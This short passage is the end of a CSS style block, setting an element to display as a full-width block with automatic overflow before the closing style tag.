display: block; width: 100%; overflow: auto; } </style>